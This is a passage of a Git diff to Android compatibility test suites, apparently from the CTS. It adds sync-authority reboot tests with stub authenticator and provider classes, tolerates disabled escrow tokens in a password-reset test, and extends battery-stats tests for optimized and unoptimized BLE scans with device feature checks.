+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator"/>
+ </intent-filter>
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+
+ <provider
+ android:name=".StubProvider"
+ android:authorities="android.content.sync.cts.authority">
+ </provider>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.sync.cts" />
+</manifest>
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/res/xml/authenticator.xml b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/res/xml/authenticator.xml
new file mode 100644
index 0000000..39dec51
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/res/xml/authenticator.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<account-authenticator
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="android.content.sync.cts.accounttype"/>
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
new file mode 100644
index 0000000..f91a358
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.sync.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Device side code for {@link android.content.cts.InvalidSyncAuthoritiesHostTest}
+ */
+@RunWith(AndroidJUnit4.class)
+public class InvalidSyncAuthoritiesDeviceTest {
+
+ private static final String VALID_TEST_AUTHORITY = "android.content.sync.cts.authority";
+ private static final String INVALID_TEST_AUTHORITY = "invalid.authority";
+ private static final String VALID_TEST_ACCOUNT_TYPE = "android.content.sync.cts.accounttype";
+
+ private Account mInvalidAccount;
+ private Account mValidAccount;
+ private AccountManager mAccountManager;
+
+ @Before
+ public void setUp() {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ mAccountManager = context.getSystemService(AccountManager.class);
+ mInvalidAccount = new Account("invalid_test_name", "invalid_test_type");
+ final Account[] accounts = mAccountManager.getAccountsByType(VALID_TEST_ACCOUNT_TYPE);
+ mValidAccount = (accounts.length == 0) ? createTestAccount() : accounts[0];
+ }
+
+ private Account createTestAccount() {
+ mValidAccount = new Account("testAccount", VALID_TEST_ACCOUNT_TYPE);
+ assertTrue("Failed to create a valid test account",
+ mAccountManager.addAccountExplicitly(mValidAccount, "password", null));
+ return mValidAccount;
+ }
+
+ @Test
+ public void populateAndTestSyncAutomaticallyBeforeReboot() {
+ ContentResolver.setSyncAutomatically(mValidAccount, VALID_TEST_AUTHORITY, true);
+ ContentResolver.setSyncAutomatically(mValidAccount, INVALID_TEST_AUTHORITY, true);
+ ContentResolver.setSyncAutomatically(mInvalidAccount, INVALID_TEST_AUTHORITY, true);
+ ContentResolver.setSyncAutomatically(mInvalidAccount, VALID_TEST_AUTHORITY, true);
+
+ assertTrue(ContentResolver.getSyncAutomatically(mValidAccount, VALID_TEST_AUTHORITY));
+ assertTrue(ContentResolver.getSyncAutomatically(mValidAccount, INVALID_TEST_AUTHORITY));
+ // checking for invalid accounts may already return false depending on when the broadcast
+ // LOGIN_ACCOUNTS_CHANGED_ACTION was received by SyncManager
+ }
+
+ @Test
+ public void testSyncAutomaticallyAfterReboot() {
+ assertTrue(ContentResolver.getSyncAutomatically(mValidAccount, VALID_TEST_AUTHORITY));
+ assertFalse(ContentResolver.getSyncAutomatically(mValidAccount, INVALID_TEST_AUTHORITY));
+ assertFalse(ContentResolver.getSyncAutomatically(mInvalidAccount, VALID_TEST_AUTHORITY));
+ assertFalse(ContentResolver.getSyncAutomatically(mInvalidAccount, INVALID_TEST_AUTHORITY));
+ }
+
+ @Test
+ public void removeTestAccount() {
+ // To use as a teardown step from the hostside test
+ mAccountManager.removeAccountExplicitly(mValidAccount);
+ }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubAuthenticator.java b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubAuthenticator.java
new file mode 100644
index 0000000..f54835b
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubAuthenticator.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.sync.cts;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+public class StubAuthenticator extends Service {
+
+ private Authenticator mAuthenticator;
+
+ @Override
+ public void onCreate() {
+ mAuthenticator = new Authenticator(this);
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return mAuthenticator.getIBinder();
+ }
+
+ public class Authenticator extends AbstractAccountAuthenticator {
+ public Authenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response,
+ String accountType) {
+ return null;
+ }
+
+ @Override
+ public Bundle addAccount(AccountAuthenticatorResponse response,
+ String accountType, String tokenType, String[] strings,
+ Bundle bundle) throws NetworkErrorException {
+ Bundle result = new Bundle();
+ result.putString(AccountManager.KEY_ERROR_MESSAGE, "Unsupported operation");
+ response.onResult(result);
+ return null;
+ }
+
+ @Override
+ public Bundle confirmCredentials(AccountAuthenticatorResponse response,
+ Account account, Bundle bundle) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle getAuthToken(AccountAuthenticatorResponse response,
+ Account account, String type, Bundle bundle) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public String getAuthTokenLabel(String tokenName) {
+ return null;
+ }
+
+ @Override
+ public Bundle updateCredentials(AccountAuthenticatorResponse response,
+ Account account, String tokenType, Bundle bundle)
+ throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle hasFeatures(AccountAuthenticatorResponse response,
+ Account account, String[] options) throws NetworkErrorException {
+ return null;
+ }
+
+ @Override
+ public Bundle getAccountRemovalAllowed(AccountAuthenticatorResponse response,
+ Account account) throws NetworkErrorException {
+ Bundle result = new Bundle();
+ result.putBoolean(AccountManager.KEY_BOOLEAN_RESULT, true);
+ return result;
+ }
+ }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubProvider.java b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubProvider.java
new file mode 100644
index 0000000..f082cc8
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubProvider.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.sync.cts;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class StubProvider extends ContentProvider {
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(@NonNull Uri uri, @Nullable String[] projection,
+ @Nullable String selection, @Nullable String[] selectionArgs,
+ @Nullable String sortOrder) {
+ return null;
+ }
+
+ @Override
+ public String getType(@NonNull Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(@NonNull Uri uri, @Nullable String selection,
+ @Nullable String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(@NonNull Uri uri, @Nullable ContentValues values,
+ @Nullable String selection, @Nullable String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index f9d732c..9e4744c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -18,18 +18,39 @@
public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
- private static final String TAG = "ResetPasswordWithTokenTest";
-
private static final String PASSWORD = "1234";
private static final byte[] TOKEN0 = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
private static final byte[] TOKEN1 = "abcdefghijklmnopqrstuvwxyz012345678*".getBytes();
public void testResetPasswordWithToken() {
+ testResetPasswordWithToken(false);
+ }
+
+ public void testResetPasswordWithTokenMayFail() {
+ // If this test is executed on a device with password token disabled, allow the test to
+ // pass.
+ testResetPasswordWithToken(true);
+ }
+
+ private void testResetPasswordWithToken(boolean acceptFailure) {
try {
// set up a token
assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
- assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT, TOKEN0));
+
+ try {
+ // On devices with password token disabled, calling this method will throw
+ // a security exception. If that's anticipated, then return early without failing.
+ assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
+ TOKEN0));
+ } catch (SecurityException e) {
+ if (acceptFailure &&
+ e.getMessage().equals("Escrow token is disabled on the current user")) {
+ return;
+ } else {
+ throw e;
+ }
+ }
assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
// resetting password with wrong token should fail
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index d20d5e4..2063104 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -38,8 +38,6 @@
import java.util.Map;
import java.util.Set;
import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
import javax.annotation.Nullable;
@@ -228,13 +226,19 @@
return 0;
}
- protected void stopUser(int userId) throws Exception {
+ protected void stopUser(int userId) throws Exception {
+ // Wait for the broadcast queue to be idle first to workaround the stop-user timeout issue.
+ waitForBroadcastIdle();
String stopUserCommand = "am stop-user -w -f " + userId;
CLog.d("starting command \"" + stopUserCommand + "\" and waiting.");
CLog.d("Output for command " + stopUserCommand + ": "
+ getDevice().executeShellCommand(stopUserCommand));
}
+ private void waitForBroadcastIdle() throws Exception {
+ getDevice().executeShellCommand("am wait-for-broadcast-idle");
+ }
+
protected void removeUser(int userId) throws Exception {
if (listUsers().contains(userId) && userId != USER_SYSTEM) {
// Don't log output, as tests sometimes set no debug user restriction, which
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 28c7ec4..9654956 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -635,13 +635,18 @@
}
private void checkBluetoothMisc(String[] parts) {
- assertEquals(10, parts.length);
+ assertEquals(15, parts.length);
assertInteger(parts[4]); // totalTime
assertInteger(parts[5]); // count
assertInteger(parts[6]); // countBg
assertInteger(parts[7]); // actualTime
assertInteger(parts[8]); // actualTimeBg
assertInteger(parts[9]); // resultsCount
+ assertInteger(parts[10]); // resultsCountBg
+ assertInteger(parts[11]); // unoptimizedScanTotalTime
+ assertInteger(parts[12]); // unoptimizedScanTotalTimeBg
+ assertInteger(parts[13]); // unoptimizedScanMaxTime
+ assertInteger(parts[14]); // unoptimizedScanMaxTimeBg
}
/**
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
index 9b23052..08f19f9 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
@@ -52,7 +52,8 @@
private static final String TAG = BatteryStatsBgVsFgActions.class.getSimpleName();
public static final String KEY_ACTION = "action";
- public static final String ACTION_BLE_SCAN = "action.ble_scan";
+ public static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
+ public static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
public static final String ACTION_GPS = "action.gps";
public static final String ACTION_JOB_SCHEDULE = "action.jobs";
public static final String ACTION_SYNC = "action.sync";
@@ -70,8 +71,11 @@
}
sleep(100);
switch(actionCode) {
- case ACTION_BLE_SCAN:
- doBleScan(ctx, requestCode);
+ case ACTION_BLE_SCAN_OPTIMIZED:
+ doOptimizedBleScan(ctx, requestCode);
+ break;
+ case ACTION_BLE_SCAN_UNOPTIMIZED:
+ doUnoptimizedBleScan(ctx, requestCode);
break;
case ACTION_GPS:
doGpsUpdate(ctx, requestCode);
@@ -97,23 +101,34 @@
sleep(100);
}
- private static void doBleScan(Context ctx, String requestCode) {
+ private static void doOptimizedBleScan(Context ctx, String requestCode) {
+ ScanSettings scanSettings = new ScanSettings.Builder()
+ .setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
+ performBleScan(scanSettings);
+ tellHostActionFinished(ACTION_BLE_SCAN_OPTIMIZED, requestCode);
+ }
+
+ private static void doUnoptimizedBleScan(Context ctx, String requestCode) {
+ ScanSettings scanSettings = new ScanSettings.Builder()
+ .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+ performBleScan(scanSettings);
+ tellHostActionFinished(ACTION_BLE_SCAN_UNOPTIMIZED, requestCode);
+ }
+
+ private static void performBleScan(ScanSettings scanSettings) {
BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
if (bluetoothAdapter == null) {
Log.e(TAG, "Device does not support Bluetooth");
- tellHostActionFinished(ACTION_BLE_SCAN, requestCode);
return;
}
if (!bluetoothAdapter.isEnabled()) {
Log.e(TAG, "Bluetooth is not enabled");
- tellHostActionFinished(ACTION_BLE_SCAN, requestCode);
return;
}
BluetoothLeScanner bleScanner = bluetoothAdapter.getBluetoothLeScanner();
if (bleScanner == null) {
Log.e(TAG, "Cannot access BLE scanner");
- tellHostActionFinished(ACTION_BLE_SCAN, requestCode);
return;
}
@@ -131,16 +146,12 @@
@Override
public void onBatchScanResults(List<ScanResult> results) {
Log.v(TAG, "called onBatchScanResults");
-
}
};
- ScanSettings scanSettings = new ScanSettings.Builder()
- .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
bleScanner.startScan(null, scanSettings, scanCallback);
sleep(2_000);
bleScanner.stopScan(scanCallback);
- tellHostActionFinished(ACTION_BLE_SCAN, requestCode);
}
private static void doGpsUpdate(Context ctx, String requestCode) {
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index 7ed8722..19ac383 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -46,6 +46,13 @@
= "com.android.server.cts.device.batterystats.provider/"
+ "com.android.server.cts.device.batterystats";
+ // These constants are those in PackageManager.
+ public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+ public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+ public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+ public static final String FEATURE_WIFI = "android.hardware.wifi";
+
+
// Low end of packet size. TODO: Get exact packet size
private static final int LOW_MTU = 1500;
// High end of packet size. TODO: Get exact packet size
@@ -53,7 +60,8 @@
// Constants from BatteryStatsBgVsFgActions.java (not directly accessible here).
public static final String KEY_ACTION = "action";
- public static final String ACTION_BLE_SCAN = "action.ble_scan";
+ public static final String ACTION_BLE_SCAN_OPTIMIZED = "action.ble_scan_optimized";
+ public static final String ACTION_BLE_SCAN_UNOPTIMIZED = "action.ble_scan_unoptimized";
public static final String ACTION_GPS = "action.gps";
public static final String ACTION_JOB_SCHEDULE = "action.jobs";
public static final String ACTION_SYNC = "action.sync";
@@ -163,33 +171,86 @@
}
public void testBleScans() throws Exception {
- if (isTV()) {
+ if (isTV() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
return;
}
+
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
// Foreground test.
- executeForeground(ACTION_BLE_SCAN, 30_000);
+ executeForeground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
assertValueRange("blem", "", 5, 1, 1); // ble_scan_count
assertValueRange("blem", "", 6, 0, 0); // ble_scan_count_bg
// Background test.
- executeBackground(ACTION_BLE_SCAN, 30_000);
+ executeBackground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
assertValueRange("blem", "", 5, 2, 2); // ble_scan_count
assertValueRange("blem", "", 6, 1, 1); // ble_scan_count_bg
batteryOffScreenOn();
}
- public void testGpsUpdates() throws Exception {
- final String gpsSensorNumber = "-10000";
+ public void testUnoptimizedBleScans() throws Exception {
if (isTV()) {
return;
}
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
+
+ // Ble scan time in BatteryStatsBgVsFgActions is 2 seconds, but be lenient.
+ final int minTime = 1500; // min single scan time in ms
+ final int maxTime = 3000; // max single scan time in ms
+
+ // Optimized - Foreground.
+ executeForeground(ACTION_BLE_SCAN_OPTIMIZED, 30_000);
+ assertValueRange("blem", "", 7, 1*minTime, 1*maxTime); // actualTime
+ assertValueRange("blem", "", 8, 0, 0); // actualTimeBg
+ assertValueRange("blem", "", 11, 0, 0); // unoptimizedScanTotalTime
+ assertValueRange("blem", "", 12, 0, 0); // unoptimizedScanTotalTimeBg
+ assertValueRange("blem", "", 13, 0, 0); // unoptimizedScanMaxTime
+ assertValueRange("blem", "", 14, 0, 0); // unoptimizedScanMaxTimeBg
+
+ // Optimized - Background.
+ executeBackground(ACTION_BLE_SCAN_OPTIMIZED, 30_000);
+ assertValueRange("blem", "", 7, 2*minTime, 2*maxTime); // actualTime
+ assertValueRange("blem", "", 8, 1*minTime, 1*maxTime); // actualTimeBg
+ assertValueRange("blem", "", 11, 0, 0); // unoptimizedScanTotalTime
+ assertValueRange("blem", "", 12, 0, 0); // unoptimizedScanTotalTimeBg
+ assertValueRange("blem", "", 13, 0, 0); // unoptimizedScanMaxTime
+ assertValueRange("blem", "", 14, 0, 0); // unoptimizedScanMaxTimeBg
+
+ // Unoptimized - Foreground.
+ executeForeground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
+ assertValueRange("blem", "", 7, 3*minTime, 3*maxTime); // actualTime
+ assertValueRange("blem", "", 8, 1*minTime, 1*maxTime); // actualTimeBg
+ assertValueRange("blem", "", 11, 1*minTime, 1*maxTime); // unoptimizedScanTotalTime
+ assertValueRange("blem", "", 12, 0, 0); // unoptimizedScanTotalTimeBg
+ assertValueRange("blem", "", 13, 1*minTime, 1*maxTime); // unoptimizedScanMaxTime
+ assertValueRange("blem", "", 14, 0, 0); // unoptimizedScanMaxTimeBg
+
+ // Unoptimized - Background.
+ executeBackground(ACTION_BLE_SCAN_UNOPTIMIZED, 30_000);
+ assertValueRange("blem", "", 7, 4*minTime, 4*maxTime); // actualTime
+ assertValueRange("blem", "", 8, 2*minTime, 2*maxTime); // actualTimeBg
+ assertValueRange("blem", "", 11, 2*minTime, 2*maxTime); // unoptimizedScanTotalTime
+ assertValueRange("blem", "", 12, 1*minTime, 1*maxTime); // unoptimizedScanTotalTimeBg
+ assertValueRange("blem", "", 13, 1*minTime, 1*maxTime); // unoptimizedScanMaxTime
+ assertValueRange("blem", "", 14, 1*minTime, 1*maxTime); // unoptimizedScanMaxTimeBg
+
+ batteryOffScreenOn();
+ }
+
+ public void testGpsUpdates() throws Exception {
+ if (isTV() || !hasFeature(FEATURE_LOCATION_GPS, true)) {
+ return;
+ }
+
+ final String gpsSensorNumber = "-10000";
+
+ batteryOnScreenOff();
+ installPackage(DEVICE_SIDE_TEST_APK, true);
// Whitelist this app against background location request throttling
getDevice().executeShellCommand(String.format(
"settings put global location_background_throttle_package_whitelist %s",
@@ -250,9 +311,10 @@
}
public void testWifiScans() throws Exception {
- if (isTV()) {
+ if (isTV() || !hasFeature(FEATURE_WIFI, true)) {
return;
}
+
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
// Whitelist this app against background wifi scan throttling
@@ -342,9 +404,10 @@
* Tests the total bytes reported for downloading over wifi.
*/
public void testWifiDownload() throws Exception {
- if (isTV()) {
+ if (isTV() || !hasFeature(FEATURE_WIFI, true)) {
return;
}
+
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
@@ -379,7 +442,34 @@
batteryOffScreenOn();
}
+ /**
+ * Tests the total bytes reported for uploading over wifi.
+ */
+ public void testWifiUpload() throws Exception {
+ if (isTV() || !hasFeature(FEATURE_WIFI, true)) {
+ return;
+ }
+
+ batteryOnScreenOff();
+ installPackage(DEVICE_SIDE_TEST_APK, true);
+
+ executeForeground(ACTION_WIFI_UPLOAD, 60_000);
+ int min = MIN_HTTP_HEADER_BYTES + (2 * 1024);
+ int max = min + (6 * 1024); // Add some fuzzing.
+ assertValueRange("nt", "", 7, min, max); // wifi_bytes_tx
+
+ executeBackground(ACTION_WIFI_UPLOAD, 60_000);
+ assertValueRange("nt", "", 21, min * 2, max * 2); // wifi_bytes_bg_tx
+
+ batteryOffScreenOn();
+ }
+
public void testCpuFreqData() throws Exception {
+ if (!CpuFreqDataHelper.doesProcFileExists(getDevice())) {
+ LogUtil.CLog.i("Proc file not found, skipping test %s#%s.\n",
+ getClass().getName(), getName());
+ return;
+ }
batteryOnScreenOff();
final long[] actualCpuFreqs = CpuFreqDataHelper.getCpuFreqFromCheckinDump(getDevice());
final long[] expectedCpuFreqs = CpuFreqDataHelper.getCpuFreqFromProcFile(getDevice());
@@ -390,6 +480,11 @@
}
public void testUidCpuFreqTimesData() throws Exception {
+ if (!CpuFreqDataHelper.doesProcFileExists(getDevice())) {
+ LogUtil.CLog.i("Proc file not found, skipping test %s#%s.\n",
+ getClass().getName(), getName());
+ return;
+ }
batteryOnScreenOn();
// Previous call will only disable the pretend-screen-off. Since we are interested in
// checking the uid times while the screen is on, turn it on for real.
@@ -424,6 +519,11 @@
}
public void testUidCpuFreqTimesDataWithOnlyScreenOn() throws Exception {
+ if (!CpuFreqDataHelper.doesProcFileExists(getDevice())) {
+ LogUtil.CLog.i("Proc file not found, skipping test %s#%s.\n",
+ getClass().getName(), getName());
+ return;
+ }
batteryOnScreenOn();
// Previous call will only disable the pretend-screen-off. Since we are interested in
// checking the uid times while the screen is on, turn it on for real.
@@ -459,6 +559,11 @@
}
public void testUidCpuFreqTimesDataWithOnlyScreenOff() throws Exception {
+ if (!CpuFreqDataHelper.doesProcFileExists(getDevice())) {
+ LogUtil.CLog.i("Proc file not found, skipping test %s#%s.\n",
+ getClass().getName(), getName());
+ return;
+ }
batteryOnScreenOff();
installPackage(DEVICE_SIDE_TEST_APK, true);
final int uid = getUid();
@@ -491,27 +596,6 @@
batteryOffScreenOn();
}
- /**
- * Tests the total bytes reported for uploading over wifi.
- */
- public void testWifiUpload() throws Exception {
- if (isTV()) {
- return;
- }
- batteryOnScreenOff();
- installPackage(DEVICE_SIDE_TEST_APK, true);
-
- executeForeground(ACTION_WIFI_UPLOAD, 60_000);
- int min = MIN_HTTP_HEADER_BYTES + (2 * 1024);
- int max = min + (6 * 1024); // Add some fuzzing.
- assertValueRange("nt", "", 7, min, max); // wifi_bytes_tx
-
- executeBackground(ACTION_WIFI_UPLOAD, 60_000);
- assertValueRange("nt", "", 21, min * 2, max * 2); // wifi_bytes_bg_tx
-
- batteryOffScreenOn();
- }
-
private int getUid() throws Exception {
String uidLine = getDevice().executeShellCommand("cmd package list packages -U "
+ DEVICE_SIDE_TEST_PACKAGE);
@@ -725,13 +809,20 @@
/** Determine if device is just a TV and is not expected to have proper batterystats. */
private boolean isTV() throws Exception {
- // Less noisy version of getDevice().hasFeature("android.software.leanback_only")
- String tvFeature = "android.software.leanback_only";
+ return hasFeature(FEATURE_LEANBACK_ONLY, false);
+ }
+
+ /**
+ * Determines if the device has the given feature.
+ * Prints a warning if its value differs from requiredAnswer.
+ */
+ private boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
final String features = getDevice().executeShellCommand("pm list features");
- if (features.contains(tvFeature)) {
- LogUtil.CLog.w("Device has feature " + tvFeature);
- return true;
+ boolean hasIt = features.contains(featureName);
+ if (hasIt != requiredAnswer) {
+ LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
+ + featureName);
}
- return false;
+ return hasIt;
}
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/CpuFreqDataHelper.java b/hostsidetests/incident/src/com/android/server/cts/CpuFreqDataHelper.java
index e9f5f24..9f907ae 100644
--- a/hostsidetests/incident/src/com/android/server/cts/CpuFreqDataHelper.java
+++ b/hostsidetests/incident/src/com/android/server/cts/CpuFreqDataHelper.java
@@ -26,6 +26,11 @@
public class CpuFreqDataHelper {
+ static boolean doesProcFileExists(ITestDevice device) throws Exception {
+ final String output = device.executeShellCommand("ls /proc/uid_time_in_state");
+ return output != null && !output.contains("No such file or directory");
+ }
+
static long[] getCpuFreqFromProcFile(ITestDevice device) throws Exception {
final String output = getProcFileContents(device);
final String line = output.substring(0, output.indexOf('\n'));
diff --git a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
index e1ec3c7..9e93a54 100644
--- a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
@@ -54,11 +54,11 @@
final Matcher matcher =
execCommandAndFind(
"dumpsys package " + DEVICE_SIDE_TEST_PACKAGE,
- "userId=(\\d+).*versionCode=(\\d+).*versionName=(\\w+)",
+ "userId=(\\d+).*versionCode=(\\d+).*versionName=([^\\n]*)",
Pattern.DOTALL);
final int uid = Integer.parseInt(matcher.group(1));
final int versionCode = Integer.parseInt(matcher.group(2));
- final String versionString = matcher.group(3);
+ final String versionString = matcher.group(3).trim();
final PackageServiceDumpProto dump =
getDump(PackageServiceDumpProto.parser(), "dumpsys package --proto");
